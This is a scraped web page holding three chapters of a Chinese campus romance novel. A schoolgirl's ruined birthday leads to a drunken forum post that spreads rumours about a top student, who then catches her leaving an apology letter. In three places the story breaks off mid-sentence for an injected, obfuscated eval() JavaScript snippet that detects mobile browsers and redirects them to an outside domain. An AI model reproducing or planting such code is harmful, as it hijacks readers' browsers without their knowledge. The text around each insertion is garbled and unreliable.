下午三点的阳光又灼又烈,林时稔站在两个一米八几的男生中间,看着自己汗湿的碎发在声波的震动中晃荡,大气不敢喘。 剑拔弩张的时刻,宋辞勾了勾唇角,露出一个玩世不恭的笑:“我跟新同学正在聊组建学习小组的事……?” 周凛微微一怔。 但又很快反应过来,因为林时稔的表情已经从刚刚的拘谨转变成眉心拧起的疑惑,站姿都呈现一种“你在开什么玩笑”的警戒状态,才短短几分钟的时间,她的脸就晒红了,而宋辞对着他挑了挑眉:“你也想加入?” 周凛没应,略带某种警告地扫他一眼,适可而止的暗示很明显。 “林时稔。” 有人在喊她,林时稔的注意力从眼前转移到身后,看见董蕊从阴凉的地方小跑过来,声音带喘:“你怎么拿个防晒服拿了这么久?” “耽误了。”林时稔不知道该怎么接话,只能抿着唇,尴尬地站在原地。 董蕊的眼睛滴溜溜地转,视线在几人之间辗转,藏着些许好奇:“你们拦着我家稔稔干什么?” 宋辞立刻不满地嚷嚷:“你那什么眼神,我们是关心新同学,怕她不适应班里节奏,准备组建个学习小组共同进步……” 他身上有股顽劣少年的疯,能唬住不熟的人,比如做人很有边界感的林时稔,但是唬不住熟知他尿性的董蕊,她嘴里一声“嗤”:“快撕下你的真面目吧,我才不信你会这么好心。” “你是不是有被迫害妄想症? 宋辞情商在线,又反应很快地补充道:“不信你也可以来参加!” 董蕊看她:“你想参加学习小组吗?” 鬼才想跟他们成立学习小组,早知道宋辞这么难缠,就该昨天通过他的好友申请了,也好过现在一举一动被不少眼睛在暗地里围观。 为了终结这一切,林时稔眼睛一闭,怨气很重地点了点头。 周凛觉得新鲜又好笑。 这是什么稀有品种?她脸上的表情明明都要嫌弃死了,身体却能如此丝滑地撒谎。 得到林时稔的首肯,董蕊立刻马不停蹄地开始谈判:“既然这样,咱们就约法三章。学习小组是临时的,组员之间要尽全力互相托举,要是第一次月考年级排名没有上升,学习小组就自动解散,大家觉得可以吗?” 她一边提条件,一边用眼神询问他们。 宋辞扬一分调子:“周凛就算了吧,他的排名没什么上升空间了……” 董蕊摆摆手:“周凛当然不算。” “那就这么说定了。”宋辞毫不犹疑地接话,然后用肩膀撞了周凛一下,示意他表个态。 空气都安静了,三人视线一起汇到他身上,周凛长长的睫毛敛着,思绪像是游离在外,手指有一搭没一搭地敲着篮球,凸起的腕骨线条朗润,比日光都显眼。 见他始终不为所动,林时稔瞬间燃起希望。 年级第一就没必要参加学习小组了吧,你从我们身上什么都得不到,只会被剥削,识相的就快点拒绝。 可她低估了宋辞不达目的不罢休的性格,就见他风驰电掣地挨在周凛耳朵边,说了一大段悄悄话…… 几秒后,周凛不置可否地“嗯”了一声。 他鼻音深沉,像一记重锤砸下来,林时稔眼里的光瞬间灭了,后面董蕊和宋辞的话都进不了耳朵了,她盯着某个虚无的点,大脑有点麻木。 到底能跟两个色魔学到什么? 7. 生日 CH(4)的第一次线下邀约,发生在成群后的第二天。 看名字就知道,这个学习小组肯定要完(烷)。 那天刚好是周日,最后一节课考了张数学模拟卷,铃响的时候教室里议论纷纷,董蕊跟她对了几题答案后,说自己肯定考砸了。 林时稔一边收笔袋,一边关闭手机的飞行模式,她考得也一般,最后一道大题连题干都没看完,但这不足以影响她的心情。 因为今晚辛晓梅和林志远会一起给她过生日。 群消息就是这时候弹出来的,宋辞:「择日不日撞日,我们小组今天下午要不要活动一下?」 董蕊的手机也同步响,她没忙着回消息,而是先问林时稔的意见,林时稔想都不用想:“不去,我下午有事。” “那我也不去了。” 董蕊回完群消息,忽然压低声线八卦:“你之前跟周凛和宋辞熟吗?他们为什么要找你组建学习小组?宋辞人来疯就算了,周凛实在是太奇怪了,我还没见过他跟谁组过学习小组呢。” 林时稔没接话茬,那两人的行事作风很难让人理解,她又不能说出杰士邦的事,只能冷处理这个荒唐的学习小组,把群消息设置成免打扰模式。 出教室前,她从口袋里拿出一颗橘子味的糖塞进董蕊的手里,董蕊用询问的眼神看她,她漾着笑:“今天我生日,请你吃糖。” “啊?你怎么不早说,我连个礼物都没准备。” “不要礼物,你对我笑一个就行。” 那时候正值放学时间,黑板擦出的粉笔灰在光线中浮动,林时稔也拨开一颗水果糖放进自己嘴里,舌尖上的甜味让她心情愉悦。 学生们一拨拨地往外涌,她随着人群走在队伍里,马尾在纤薄的后背晃荡,白皙的颈子若隐若现。 周凛盯着她的后颈看,直到宋辞打着哈欠勾了勾他的肩膀,他才收回视线。 “女生们下午有事儿,不能参加学习小组的活动,我们干脆去打球算了。” 话是宋辞说的,群也是宋辞拉的。 周凛打掉那只吊儿郎当的胳膊,像是被吵得心烦,凉凉地看他:“要疯你自己疯,我没时间配合你的恶趣味。” 宋辞把书胡乱地塞进桌洞里,笑得挺无辜:“我在给谁创造机会,你心里没数吗?” 他现在对林时稔充满了好奇。 周凛的女生缘简直不要太好,不仅是本校女生的男神,就连外校慕名而来送情书的,也超过两只足球队了。许意荞也时常打着关心薛定谔的幌子主动示好,他也回,就是冷,像个话题终结者似的。 周凛这回连话都懒得回,直接拎书包起身。 盯着他的后脑勺,宋辞突然拍了下桌子:“我靠,差点忘了,明天升旗校长要给你颁奖是吧?” 他像操碎了心的老妈子一样:“你的获奖感言外包给我,我最爱写这玩意了……” * 周末不堵车,林时稔下车的时候偶遇了同一栋的邻居,女生在另一所市重点读书,跟她同届,名字叫王舒。 王舒人如其名,是一个相处起下来让人非常舒服的女生,两人路上分享了不少各自学校的八卦。 快上到二楼的时候,头顶突然传来一道女人的声音:“今天怎么晚了十分钟呀?” 林时稔下意识抬头,发现二楼左侧的入户门不知什么时候敞开了,王舒的妈妈系着围裙倚门站着:“舒舒,你爸爸饿得偷吃了好几次,我快保不住你的红烧肉了。” 王舒笑眯眯的,步子又上了一级台阶:“让他吃呗,吃一块罚一百,反正我知道他的小金库藏在哪儿。” “胡说八道,我哪有小金库。”门内传来反驳的男声。 林时稔顺着半敞的门看进去,原木色的桌上摆了满满一桌饭菜,香味扑鼻。 王妈妈这时候才发现她,脸上笑意不减:“俏俏,你俩一起回来的?正好,中午就在我家吃饭吧。” “不用了,谢谢阿姨。” “那行,回头到我家来玩儿。” 林时稔跟他们说了再见,继续上台阶。 到了二楼半的位置,身子不由自主地被牵引,脚步放缓,透过栏杆缝隙,她看见王妈妈帮王舒拿鞋,王爸爸接过她的书包,王舒脸上带着小女儿的娇憨,整个人被照顾得无微不至。 随着“嘭”一声关门声,她收回视线。 用钥匙开门,不大的房子里空荡荡的,林时稔去茶几上找到遥控,电视里很快传出综艺节目的笑声,客厅里好像才不那么空了。 她安慰自己,上高三之后,除了周凛和宋辞给她添了一点点小堵之外,生活好像都在朝好的方向发展,考上了重点班,跟沈序清的距离拉进,就连辛晓梅和林志远的关系也即将迎来破冰,还有什么值得EMO的呢? 只有笃定自己会越来越好运,越来越幸福,好事才会真的发生。 没错,就是这样,吸引力法则。 想通了这些时候,整个世界豁然开朗,下午做作业的时候,心情都是好的。 将暮未暮时,下了场雷阵雨。 栖堂里是淮阳路这一带最讲究的中餐馆,粉黛青瓦的门脸,檐角挂着风铃随风轻摆,发出清脆的响声。 细雨如丝中,林时稔从正门进来,长发用一根发簪松松插着,穿着粉蓝色的中式长裙,裙摆有点湿。服务生接过滴水的雨伞,木质楼梯发出“咚咚咚”的响声,她上了二楼。 林志远朝她招手:“俏俏,这里。” 林时稔儿时的好多记忆都已经模糊了,但刻在脑子里的场景是,辛晓梅冲进卫生间,从林志远的手里抢过烟,骂骂咧咧地把他的衣服烫满窟窿眼。奶奶被人请过来劝架:“好好的日子你不过,天天闹什么?他又不是沾了黄赌毒……” “抽抽抽,自己想得肺癌,还要连累我和俏俏吗?” 林远志喜欢抽烟喝酒打牌,他在一间小公司当会记,十年来没升职、没加薪,辛晓梅常常骂他烂泥扶不上墙。 辛晓梅升职为护士长的那一天,林志远提出离婚,不知道是不是看多了一地鸡毛的场面,林时稔当时只觉得解脱。 父女俩有一搭无一搭地聊着天,直到茶水都喝淡,辛晓梅还没来,林时稔有些急了,直接打了电话过去。 一接通就开门见山:“妈妈,你到哪了?” 辛晓梅没说话。 她的反应让林时稔心凉了半截:“怎么了?你今天不是早班吗?” “接班同事路上出了车祸,现在人手不够……”大概对女儿还是愧疚吧,她的语调难得是软的。 “那怎么办?”林时稔有些慌了。 “我打电话找人替班,你们等我半小时。” 窗口的夜风里,林时稔托着腮听雨水溅落青石板的声音,她安静的时候,林志远也没说话,偶尔刷刷手机,直到他听到“咕咚”的肚子叫,才提议道:“俏俏,要不我们先点菜?” 林时稔摇头。 辛晓梅的忌口多,又是强势了十几年的性格,他们父女两先点菜,难免要被扣上不尊重她的大帽子,她想让今晚的一切都尽如人意。 晃一眼时间,半个小时已经到了,她在最新通话里找到辛晓梅的名字,把电话搁耳边,林志远放在桌面上的手机同一时刻响,屏幕上弹出“老婆”两个字,他捂着听筒的位置,接听后的下一秒,表情瞬间变得难看。 林时稔拨出的电话始终无人接听。 而林志远挂了电话后,嘴角有点僵:“你弟弟发高烧了。” 她反应了好一会儿,才想起来自己还有个弟弟,恳求道:“爸爸,再等十分钟,行吗?” 林志远的耐心已经消耗尽了,他把最后一口茶喝了,茶杯放桌上:“俏俏,你还不明白吗?你妈根本就不想来!” 林时稔眼睛红了,声音还是平静的:“今天是我生日,她已经答应我了。” “你可以否定我,但你心里清楚,她不会来,她不会来,我说一万次,她也不会来。” “她会来!”这句话,林时稔几乎是喊出来的。 林志远平静地看着她,语气很淡:“这个世界就是围绕辛晓梅转的,只有她的事儿是正经事儿,别人眼里正是儿和时间在她心里屁都不是,我真是犯贱才会离婚七年后,还要自取其辱跟她吃饭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256432|182069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一串话怼得她眼泪无声地掉,林时稔看着他,眼里藏着窘迫的倔强。 “你好好学习,大人的事情跟你没关系,也不要强求了,爸爸祝你生日快乐。” 林志远起身的动静很大,不少人看过来,他视而不见,抓起桌面上的手机,转身就往楼下走。 说来也讽刺,生日蛋糕就是这个时候来到林时稔面前的。 服务生为了营造气氛,还特意调暗了灯光,所以根本就没看见她在哭,他们还一起唱起了生日快乐歌。 晃动的烛光中,林时稔慢慢抬头,她知道林志远说的都是对的,辛晓梅就是这样的人,难过和愤怒交织在一起,她抱着蛋糕冲进雨幕。 明明穿了衣柜里最隆重的一件衣服,她却觉得自己像个小丑。 云层里又是一道滚雷。 潮湿的空气,连绵不断的雨声,还有口袋里嗡嗡作响的手机。 林时稔浑身上下都被淋湿,不想回家,又没别的地方去,就站在便利店门口,路灯将她的影子拉得老长。 那会儿,辛晓梅已经打了十几个电话过来,她都不接。 街道上,几只流浪狗分食了她的生日蛋糕,她的眼泪还是没藏住,一颗一颗掉下来,打湿了眼睫,也朦胧了夜色。 不知道过了多久,身后响起玻璃门打开的声音,店员说:“小姑娘,快进来躲雨。” 店员很好心,给她拿了纸巾和热水,林时稔抹掉眼尾下坠的眼泪,不太自然地道了谢。 周末的晚上,便利店里灯火通明,来购物的人络绎不绝,店内的音乐切换成郭顺的《水星记》。 “姐姐,你可以帮我个忙吗?” 黯然的气氛被一个七八岁的小姑娘破了,她手里捧着包零食,大眼睛忽闪忽闪的。 林时稔不太明白:“什么忙?” “我的力气不够,这个袋子撕不开……” 她真的会找话题,林时稔的情绪被转移了,她接过小姑娘的零食,帮她把包装袋拆开。 小姑娘说:“谢谢姐姐,你帮了我,我请你喝饮料。” 林时稔知道这套说辞就是在变相安慰,正想要拒绝,小姑娘又补充:“我用电话手表已经付钱了。” 在这样一个无情的雨夜,没有闺蜜可以倾诉心事,没有父母可做避风港湾,最后温暖她的,是一个又一个陌生人。 打开拉环,气泡呲呲呲地往上冒,林时稔看玻璃壁里自己的影子,用口型说:“生日快乐。” 然后就坐在窗边安静地用另一只手刷手机。 校园通论坛里本来已经过气的表白帖,又因为有人上传了一张周凛被官媒采访的截图而重新顶了上来。 照片上他穿着国家队的队服,食指和中指勾着金牌的带子,动作松弛,表情淡定,就好像早就摸清了冠军的路数,拿金牌如探囊取物一般。 怪不得要在明天的升旗仪式上搞表彰呢。 现在正是IPO关注度最高的时刻,要是拖到九月开学,新闻就成了旧闻,热度也就没了。 细想起来也是如此,周凛优秀得如此直白,本来就是汇文高中最好的名片,所以校长才会气势如虹地想要借着这股东风,把学校的知名度扎扎实实地推出去。 林时稔把这张照片看了整整十秒,然后撇撇嘴锁屏。 一瓶RIO试出了她的酒量。 或许是觉得太委屈,亦或是崩得太久了,辛晓梅找来的时候,林时稔开口就是一句:“你为什么说话不算数?” 辛晓梅从没见过她这副样子,脾气也上来了:“不就是一顿饭吗?你闹什么?我和你爸爸早就离婚了,为什么非要把我俩往一起凑,你不要再自欺欺人了。” 说完就拽着她的胳膊往门口拖:“你还能耐了,小小年纪不学好,还喝上酒了,跟你爸一个样儿。” “你总是这样,全世界就你对。” 林时稔眼泪掉的又急又凶:“虚伪,我真想撕掉你们的假面具……” 这是她断片前说的最后一句话,然后就被天旋地转的醉意席卷了,她也不知道自己做了什么,要不然,也不会惹出那么大的祸。 8.黑料 周一清晨,骤雨初歇,阳光薄而艳。 汇文高中的升旗仪式后,校长握着麦克风讲话:“各位,高三是场硬仗,我简单说两句……” 他的长话短说,往往说来话长。 操场四周种满香樟树,高三一班碰巧在树荫下,别的班就没那么好运,一个个晒得蔫头耷脑,额角浸汗。 林时稔盯着自己的脚尖,看似在听,目光却是散焦的状态。她昨晚哭过,又不小心被一瓶RIO放倒,脸上的水肿和黑眼圈昭然若揭。 忽然一阵掌声,周遭响起小幅度的喧哗,她才回神。 所有人的目光都聚在台上,周凛站在校长身旁,个子高出一个头,不愧是衣架子,校服穿在他身上,时尚度都增加了,整个人清爽帅气。他从校长手里接过麦克风,悦耳的男声回荡在操场的每一处角落。 队伍里集满浮躁,不少人在交头接耳,闲言碎语渐渐被风吹了过来。 “你说会不会是暗恋周凛?” “哪种暗恋,得不到就毁掉的那种吗?我看不像,倒是挺像仇人的。” “你们是不是想复杂了,明明就是谁家的猫咪不小心踩了键盘,在贴子里打了一堆乱码。” “我加了一个小群,里面据说有人破译了。” “真的假的?” “谁知道,他们猜测是在骂周凛渣,让女生吃避孕药……” “我靠,不可能吧?” 林时稔敏感地捕捉到几个关键词后,先是怔了一下,随即倒吸一口气,表情也从疑惑转为惊讶。 他们说的是周凛吗? 他……塌房了? 信息量太大,疑问太多,一时间负面情绪都忘了,她竖起耳朵,全身心投入到他们讨论的惊天大瓜中。或许是队伍里的动静太大,教导主任的视线轰轰烈烈地杀过来,八卦的人群集体噤声,林时稔也只能歇了心思。 与此同时,升旗仪式结束了。 前面的队伍开始动,她下意识地搜寻周凛的身影,他还在台上,目送校长离开后,突然往操场上撂一眼,隔着四五个班级的距离,两人的视线电光石火地对上,林时稔立刻移开视线。 然后,就是后悔,干吗心虚要躲? 而且这么远的距离,看的也不是她吧。 不得不说,他的心理素质可真是太强大了,黑料都快被人扒出来了,还跟个没事人一样。不过,就那么短暂对视的半秒时间里,她好像从周凛幽深的眸子里,看出点审视的意味。 错觉,应该是错觉,这事跟她又没关系。 三年一班每周轮一次座位。 林时稔换到了靠窗那排,她喜欢这个位置,有阳光照进来,还可以偶尔看看窗外的风景。不过缺点也是显而易见的,她紫外线过敏,离沈序清又太远,从一个过道变成了教室的两端。 今天没有早自习,补作业的时间很短,教室里一片沙沙的写字声,董蕊从书包里掏出一个礼物袋,放在她桌上。 “稔稔,生日礼物,给你补上。” 林时稔昨天过了一个很糟糕的生日,这会儿很轻易就被触动了情绪,她抽了抽鼻子:“谢谢你。” 董蕊没见过收个礼物都能感动到哭的,学她昨天的语气:“不用谢,对我笑一个就行。” 林时稔扯开唇角,两个人都笑了。 动作很轻地拆开包装盒,里面是一个星星许愿瓶,瓶子里装着粉色的拓香石,晶莹剔透,带着淡淡的果香,她的眼睛晶晶亮亮的,“我好喜欢。” 林时稔说喜欢,就是真的喜欢,她把许愿瓶放在窗台上,每到下课就要凑过去闻闻,像吸食什么上瘾的东西一样。 午休铃打响,许意荞帮英语老师收试卷,林时稔看着她的背影,难免又想起了周凛的八卦,眼神挺同情的。 “你那是什么眼神?” 董蕊被她的表情逗笑:“你昨晚也看论坛了?” “没,我昨晚喝了瓶RIO,一直睡到今天早上。” “那你可错过了一个亿……” 校园生活枯燥无味,只有八卦让人兴奋。 董蕊的窥探精神比她还强烈,扭头看右后方方向,见周凛抱着篮球出教室后,再看她的时候,满脸按捺不住的分享欲:“有人用摩斯密码的方式爆周凛的料,这里面一定有问题,要不然管理员不能删帖。” “啊?” 林时稔还不知道帖子已经被删了,失望的表情一闪而过。 …… 午饭跟几个不认识的女生一起拼桌吃的,她们边吃边聊,从当红男明星到暑期档的电影,林时稔一直专心致志地干饭,不跟她们产生任何眼神交流。 话题不知道什么时候又拐到了周凛身上,有人对表白贴删掉的留言好奇,语气里夹杂着感叹。 “管理员这次动作挺快,不知道是不是有人发话了?” “这么优秀一人,跟他谈过也不亏,用不着这么黑他吧……” “我觉得大家也不用阴谋论,也许真的是不小心按错了呢。” “人家只是发了几行乱码,又没说什么诋毁的话,就算被抓住了也能美美隐身。” “我看未必,注册信息都是实名制,要是周凛想告他,一纸起诉书就能调出他的个人信息。” 学霸就是渣男最好的滤镜,拥趸者还是对周凛的人品认同感极强,认为是有刁民想害他。 十二点零六分,林时稔正在吃最后一颗馄饨,手机响起连续的震动声,她放下勺子划开屏幕。 董蕊发了七八张截图过来,内容都是被管理员删除的表白贴里面的,她还好心地把舆论焦点的留言用红实线框了起来,一共五条。 「便利店...蚊香****车窗结霜了...从口袋掉出彩虹糖纸... 」 「月亮(呕吐表情)&#%*...TA的毛衣沾着星星指纹... 」 「≈在收款码跳舞...第三个...**渣男银河崩落#¥%……#…」 「t@$避孕套碎钻石...药片卡在喉成¥%*()*&*&. 」 「雪人生日在指纹锁滴答...****冻住睫毛了(酒杯碎屏表情」 林时稔看得直皱眉,这能看出个啥? 不过福尔摩斯们显然比她敏感多了,不但第一时间就保存了截图,还在这堆乱七八糟的文字中,提炼出不少信息。 有人说:车窗代表车震,因为从天窗里正好可以看到月亮。 也有老司机怀疑:第三个是三次的意思,避孕套和药片很好理解…… 最后一个碎屏的表情被解读成:女生可能心不甘情不愿地被甩了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264846|182069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一出高岭之花惹上风流债的惊天大戏,就这样被他们脑补出来了,林时稔简直是大写的佩服。 虽然猜测跟事实大差不差,但周凛以这样一种方式被人围观、讨论、批判……她的情绪还是挺复杂的。 万一他只是谈一场正常的恋爱呢? 网络像个巨大的凸透镜,可以反射出各种妖魔鬼怪,高光坍塌的那一刻,更像是发泄者的狂欢。 心里也同时在腹诽,为什么这么不小心,开个房弄得人尽皆知…… 指腹在截图上一张张划过,她又从后往前翻了一遍,最后扫到留言者ID时,瞳孔倏地放大,颅内不啻于投下一枚核弹。 留言者ID:「吃瓜罗伯特」 …… 时间按部就班地走,林时稔整个下午都恍恍惚惚的,太阳穴好像被注入了麻醉药,她一遍遍回忆昨晚的时间线,但还是对自己在论坛上留言这件事,没有任何记忆。 从来没想过会捅出这么大的娄子,手都是抖的,因为害怕,也因为事情的发展已经已经远超想象。 这算不算时造谣呢?学校和老师会怎么处理?周凛会不会追究她的法律责任? 最后想到头都痛了,还是没有解决方案。 校园八卦在晚自习的时候飙升到最高点,操场、走廊、水房、卫生间的每张嘴、每部手机都还热情不减地讨论这件事,偏偏身处旋涡中心的周凛整个下午都不在,据说是被几家媒体共同邀到校外做采访去了,让她想要道歉都找不到人。 这么敏感的时期,媒体会不会捕风捉影他的黑料,再把事情闹得更大? 好想离开地球…… 放学铃终于打响。 整理书包的动静总是格外热闹,董蕊提前三分钟就收拾好了,见她还坐着,眉心蹙起:“今天不赶六点四十的地铁了?” 原子笔在纤细指尖撞出“咔哒咔哒”的声响,林时稔仰头看她,尽量让自己的表情自然:“人多,而且这道题做一半了,我写完再走。” 董蕊朝她挥手:“行,那我先走了。” “好,明天见。” 好不容易把所有人都熬走,她收回鬼鬼祟祟的目光,偷感很重地走在过道里,把道歉信塞进周凛的书桌里,然后最后一个出教室。 短短几秒钟,林时稔极度紧张,心脏都快要从嘴巴跳出来,一直走到走廊的尽头,差点休克的感觉才趋于平缓。 她想过了,与其被他揪出来,还不如主动道歉认错,毕竟二者性质完全不同,现在只希望舆论可以快点平息。 不过她也不是毫无心机,道歉信是匿名的,还用了一点小巧思,希望周凛能大度一点,别再追究了,就当是个无心的小玩笑,让这事快点翻篇儿。 距离放学已经过了半小时,学校里已经快没人了,刚走到楼梯口,手机就弹出新提醒。 CH(4)群里,宋辞@所有人:「周凛,你干嘛拉黑我?」明明可以单独@周凛,偏偏@所有人,可见被拉黑的人有多气愤。 猝不及防看到他的名字,林时稔的呼吸又提了起来,下楼梯的步子也放缓。突然,一股力道缠上纤细的手腕,她吓得脸色惨白,不自觉地尖叫一声。 猛地回头,就看见周凛居高临下地站在那,漆黑的眼眸攫住她,嗓音阴恻恻的。 “是你?” 9.翻篇 周凛从电视台出来的时候,天边只剩黯淡的云斑。 他穿着汇文高中的校服,白衬衫扣到顶,咖啡色领带系得一丝不苟,在那里就吸睛,很有好学生的样子。 出粗车司机从后视镜里看他一眼,自来熟地起话题:“小伙子,怎么这个时间还去汇文高中,学校不是应该在放暑假吗?” 司机为了省油,没开空调,周凛降下后座的车窗,衣领被风吹得摆动:“我高三,八月一号就开学了。” “现在学生真辛苦,我们那时候可没有补课……” 他在驾驶位上滔滔不绝地回忆自己的高中的时候,宋辞打来电话,开口就是一句打趣:“小周周,我是不是应该提前跟你要个签名,万一你将来红了,不会翻脸不认人吧?” 周凛靠在椅背上,不知所谓地动了动唇角:“滚。” “我劝你善良一点,好好珍惜我这个朋友,因为你现在就是一个不戴措施、逼女生吃避孕药的渣男!” 宋辞开始讲跟他有关的八卦,讲完又分析形势:“但这事麻烦就麻烦在,只要留言的人咬死不认,你拿他什么办法都没有,就凭那一堆乱码,顶级律师来了也没用。” 他的嗓门太大,周凛把手机拿远了点。 怪不得校园通的管理员老师发消息,让他结束采访去学校一趟,应该就是这件事。 “留给你洗白的方式不多了,收复湾湾、攻克癌症、要不然研究出来反物质、暗能量、超弦理论和真空衰变,或者带着人类星际移民也行,你选一样吧。” 说完,他甩来几张群聊截图,周凛点进去,一群不认识的人,讨论得挺难听的。 宋辞看起来比他还着急:“你快想想,这事怎么办?” 周凛:“晾着,过两天热度就下来了。” 那就是什么都不办。 听筒里沉默了好几秒,宋辞的语气讳莫如深:“该不会被他们说中了吧?那个女生是谁?你天天跟我在一起哪来的时间?难道是在瑞士参加IPO认识的?长什么样?比许意峤还漂亮吗?” 周凛被他吵得头疼,手指扶上太阳穴:“苹果日报最近招狗仔,要不你去应聘吧。” “老子为了你的事心力憔悴,你还……” 周凛听不进去了,强行切断电话,又把他的微信短信也一并拉黑。 一套组合拳下来,世界终于安静了。 窗外的风吹着额头,他松了松领带,才想起来还没给管理员老师回电话,于是按出一串号码:“丁老师,您还在学校吗?” 那时候也没想到,会抓到一只鬼鬼祟祟的小猫咪。 …… 走廊尽头的楼梯口,少年的影子罩住她,林时稔想跑,可是脚下如坠千金,整个人像被施了定身术似的,动弹不得。 周凛只是看着她,表情如山间薄雾,看不分明。 她知道这种时刻一定不能心虚,只是脑子想得挺好,身子却不由自主地打颤,攥着手机的掌心都湿了,反驳的话也断断续续的:“你说什么?我,我听不明白……” 林时稔是泪失禁的体质,情绪稍微激动就会想哭,她忍住鼻头上涌的酸意。 走廊的夜风里,她的碎发被风扬起,长睫扇动的糯软模样,很像一只尽力降低存在感的无害小猫咪,浑身上下都写满了四个大字——看不见我。 周凛看得有点恍神,随后是更加的不解。 她哪来的胆子在论坛上挂人?分明是他再大声一点,她眼泪就会掉下来了。 空气安静了三秒,周凛像是终于打量够了,突然说了句毫无关系的话:“知道我为什么在这吗?” 少年的声线干净低沉,林时稔不敢抬头,只盯着自己的脚尖,小幅度地摇摇头。 “管理员老师让我来找他。” 林时稔的心脏几乎跳停。 管理员老师通知当事人,说明学校已经知晓,距离老师和其他人知道也就不远了,事情正在往最坏的方向发展。 她慌了神,已经完全忘记了道歉信上的剧本,慌不择路地开口:“那些留言真的是自己发出去的,可能是黑客控制了我的手机,我喝了一瓶饮料,什么都不记得,就算你是渣男,我也不会说出去的……” 颠三倒四的话里,还夹了句骂他的。 周凛盯着她的眼睛,突然想起来十几天前在便利店里的偶遇,于是截断她的话:“你是因为看见了什么,故意挂我的吧?” “不是。” 几秒后,见他始终不为所动,林时稔咬了咬唇,又强调了一遍:“真不是。” 周凛把一封信捏在手上,闲闲地在她眼前晃了晃:“这是什么?” 林时稔缩了下脖子,盯着拨弄信封口的修长手指,整个人紧绷如弦:“道歉信。” 要是早知道会被抓现行,打死她也不会写那封信,但是周凛好像并不体谅,瞥了眼她的紧张样子:“你知道的,这件事很严重,一封道歉信可不够。” 她的软音里带着哭腔:“那你想要什么?我可以给你赔钱,但是我也没有很多的钱……” “我看起来很像强盗吗?” 周凛都被气笑了,他弯身,俊容放大:“你先说说,渣男是怎么回事?” 独属于少年的气息也侵略过来,林时稔往后仰,可惜后背就是墙,退无可退,她的睫毛颤得更厉害了。 相对无言的僵持时刻,有脚步声从教室方向过来,还没看清来人,就听到成熟的男声隔着一段距离传来:“你们是哪个班的?” 林时稔由衷地感谢汇文高中的保安大爷,为这场紧张到手心冒汗的对峙按下了中止键。 但大爷的下一句又让她如坠冰窟:“这么晚不回家,是躲在那里谈恋爱吗?” “……” 天气预报说未来二十四小时有台风登录,淮城入夜后的空气夹着湿热,黏黏腻腻的很不舒服。 早就过了放学时间,校门前的南阳路车辆稀少,周遭的快餐店已经临近打烊,万安咖啡还在营业。 空调徐徐地吹着冷气,服务生送了两杯卡布奇诺过来,周凛把其中一杯递给她:“你真的不吃饭,只要一杯咖啡?” 林时稔跟他的松弛感形成鲜明对比,别说吃饭了,连云南白药都吃不下,复杂的情绪在心理翻滚十万八千遍,她吞吞吐吐地提出解决方案:“我在论坛上发帖替你澄清可以吗?” “解释只会越描越黑。” 周凛平时不是爱计较的人,但不知道为什么,眼前的棉花喷子突然就挑起了他的好奇心。 “看过《让子弹飞》吗?” 他声线变冷,恢复不近人情的表情:“那些看客们根本就不在意小六子吃了几碗粉,他们就只在乎能不能围观一场闹剧,然后满足自己的情绪价值。” 意思就是既往不咎和知错能改都是伪命题。 “学校里的那群人也是一样的道理。”他语气很淡,像是在说别人的事情。 林时稔陷入迷茫,其实她的性格很怂,经常是吃了闷亏也能自我安慰吃亏是福的鸵鸟心态,误伤别人还是第一次,也是真的不知道该做什么才能弥补过失。 他喝一口咖啡:“我先看看你道歉信的诚意。” 不要!那不是她的本意。 林时稔虚得说不出话,想要拦住他,但是又没有立场。 周凛当着她的面把信封拆开,逐字逐句看完,再看向她时,好像有一点点状况外。 “爱而不得?” “因爱生恨?” 他冷眼昵她:“你暗恋人的方式还挺特别的……” 这封道歉信林时稔酝酿了整个下午。 课间吵吵闹闹,她埋在一堆书后面,卫生间也不去,董蕊打水回来往她那瞄一眼,她立刻用手捂住信纸。董蕊暧昧地眨眼,用唇语问:“情书?” 林时稔摇头。 情书是写给沈序清的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282150|182069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在写的,严格地讲,应该叫剧本。 「周凛你好: 见字如晤。 我时常觉得文字的力量非比寻常,所以这封信写得异常艰难,社交平台上的一些信息,有时候往往只代表一种情绪,我们会被情绪裹挟,做出某些过激的行为,但这都不是本意。 或许是爱而不得,亦或是爱而生恨……你应该很习惯的,因为骄傲如你,本就是很多女孩的心事,希望你不要你追究我是谁。 如果你还没注意到网络上的谣言,那么恭喜你,因为专注自己的人才会获得成功。 可惜我的文笔不好,字斟句酌还是写不出心中歉意的万分之一。 8月13日 一位不愿意透露姓名的人」 林时稔已经把眼睛闭上了,她在想这件事到底是谁的责任? 第一责任人肯定是周凛,他去便利店买套在先,购物小票被沈序清看到在后,这个世界上没有无缘无故的恨。 